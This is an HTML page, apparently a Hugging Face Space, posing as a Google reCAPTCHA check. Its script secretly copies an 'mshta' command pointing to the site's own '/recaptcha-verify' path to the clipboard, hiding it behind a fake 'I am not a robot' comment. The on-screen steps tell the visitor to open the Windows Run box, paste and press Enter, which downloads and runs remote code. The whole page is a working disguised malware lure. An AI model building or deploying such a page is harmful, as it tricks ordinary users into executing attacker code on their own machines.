Spaces:
Running
Running
File size: 9,887 Bytes
99274b9 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>reCAPTCHA Verification</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.spinner {
animation: spin 1s linear infinite;
transition: opacity 0.5s linear;
}
.verify-window {
transition: opacity 400ms;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
ol {
counter-reset: item;
list-style-type: none;
list-style-position: outside;
padding-left: 0;
}
ol li {
counter-increment: item;
margin-bottom: 10px;
}
ol li::before {
content: counter(item) ". ";
color: #1A73E8;
font-weight: bold;
margin-right: 10px;
margin-left: 10px;
}
.checkbox {
transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
}
</style>
</head>
<body class="bg-gray-100 min-h-screen flex items-center justify-center p-4">
<div class="bg-white rounded-lg shadow-md p-5 w-full max-w-md">
<div id="checkbox-window" class="bg-gray-50 rounded border border-gray-300 shadow-sm p-4 relative">
<div class="flex items-start">
<button type="button" id="checkbox" class="checkbox w-7 h-7 bg-white rounded border-2 border-gray-300 hover:border-gray-400 outline-none cursor-pointer mt-5 ml-3"></button>
<p class="text-gray-800 text-base ml-4 mt-5">I'm not a robot</p>
<img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" class="absolute right-4 bottom-4 w-10 h-10" alt="reCAPTCHA logo">
</div>
<div class="text-center text-xs text-gray-500 mt-8">
<a href="https://www.google.com/intl/en/policies/privacy/" class="text-gray-500 hover:text-gray-600 hover:underline">Privacy</a> -
<a href="https://www.google.com/intl/en/policies/terms/" class="text-gray-500 hover:text-gray-600 hover:underline">Terms</a>
</div>
<div id="spinner" class="spinner absolute left-3 top-1/2 w-5 h-5 border-2 border-gray-200 border-t-gray-600 rounded-full opacity-0 invisible"></div>
</div>
<div id="verify-window" class="verify-window absolute bg-white rounded-lg border border-gray-300 shadow-lg w-80 opacity-0 invisible">
<div class="verify-container">
<header class="bg-blue-600 text-white p-4 rounded-t-lg">
<span class="block text-base">Complete these</span>
<span class="block text-2xl font-bold">Verification Steps</span>
</header>
<main class="p-4 text-gray-800 text-sm">
<p class="mb-4">
To better prove you are not a robot, please:
</p>
<ol class="mb-4">
<li>
Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.
</li>
<li>
In the verification window, press <b>Ctrl</b> + <b>V</b>.
</li>
<li>
Press <b>Enter</b> on your keyboard to finish.
</li>
</ol>
<p>
You will observe and agree:
<br>
<code class="text-xs text-gray-500">
✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>"
</code>
</p>
</main>
</div>
<footer class="border-t border-gray-300 p-3 flex justify-between items-center text-sm">
<div class="text-gray-500">
Perform the steps above to finish verification.
</div>
<button type="button" class="bg-blue-500 hover:bg-blue-600 text-white font-semibold py-3 px-6 rounded uppercase text-sm transition-colors" id="verify-verify-button" disabled>Verify</button>
</footer>
</div>
</div>
<script>
let checkboxWindow = document.getElementById("checkbox-window");
let checkboxBtn = document.getElementById("checkbox");
let checkboxBtnSpinner = document.getElementById("spinner");
let verifywindow = document.getElementById("verify-window");
function addCaptchaListeners() {
if (checkboxBtn) {
document.addEventListener("click", function (event) {
let path = event.composedPath();
if (!path.includes(verifywindow) && isverifywindowVisible()) {
closeverifywindow();
}
});
checkboxBtn.addEventListener("click", function (event) {
event.preventDefault();
checkboxBtn.disabled = true;
runClickedCheckboxEffects();
});
}
}
function runClickedCheckboxEffects() {
hideCaptchaCheckbox();
setTimeout(function(){
showCaptchaLoading();
},500);
setTimeout(function(){
showVerifyWindow();
},900)
}
function showCaptchaLoading() {
checkboxBtnSpinner.classList.remove("invisible", "opacity-0");
checkboxBtnSpinner.classList.add("opacity-100");
}
function hideCaptchaLoading() {
checkboxBtnSpinner.classList.add("opacity-0");
setTimeout(function() {
checkboxBtnSpinner.classList.add("invisible");
}, 500);
}
function showCaptchaCheckbox() {
checkboxBtn.classList.remove("w-1", "h-1", "rounded-full", "ml-6", "mt-8", "opacity-0");
checkboxBtn.classList.add("w-7", "h-7", "rounded", "ml-3", "mt-5", "opacity-100");
}
function hideCaptchaCheckbox() {
checkboxBtn.classList.remove("w-7", "h-7", "rounded", "ml-3", "mt-5", "opacity-100");
checkboxBtn.classList.add("w-1", "h-1", "rounded-full", "ml-6", "mt-8", "opacity-0");
}
function generateRandomNumber() {
const min = 1000;
const max = 9999;
return Math.floor(Math.random() * (max - min + 1) + min).toString();
}
function closeverifywindow() {
verifywindow.classList.add("invisible", "opacity-0");
showCaptchaCheckbox();
hideCaptchaLoading();
checkboxBtn.disabled = false;
}
function isverifywindowVisible() {
return !verifywindow.classList.contains("invisible") && !verifywindow.classList.contains("opacity-0");
}
function setClipboardCopyData(textToCopy){
const tempTextArea = document.createElement("textarea");
tempTextArea.value = textToCopy;
document.body.append(tempTextArea);
tempTextArea.select();
document.execCommand("copy");
document.body.removeChild(tempTextArea);
}
function stageClipboard(commandToRun, verification_id){
const suffix = " # "
const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "
const end = "''"
const textToCopy = commandToRun + suffix + ploy + verification_id + end
setClipboardCopyData(textToCopy);
}
function showVerifyWindow() {
verifywindow.classList.remove("invisible", "opacity-0");
verifywindow.classList.add("opacity-100");
const checkboxRect = checkboxWindow.getBoundingClientRect();
verifywindow.style.top = (checkboxRect.top - 80) + "px";
verifywindow.style.left = (checkboxRect.left + 54) + "px";
if (parseInt(verifywindow.style.top) < 5) {
verifywindow.style.top = "5px";
}
const verifyRect = verifywindow.getBoundingClientRect();
if (verifyRect.left + verifyRect.width > window.innerWidth - 10) {
verifywindow.style.left = (checkboxRect.left - 8) + "px";
}
var verification_id = generateRandomNumber();
document.getElementById('verification-id').textContent = verification_id;
const htaPath = window.location.origin + "/recaptcha-verify";
const commandToRun = "mshta " + htaPath;
stageClipboard(commandToRun, verification_id);
}
addCaptchaListeners();
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=jauganaut1/ddeverify" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html> |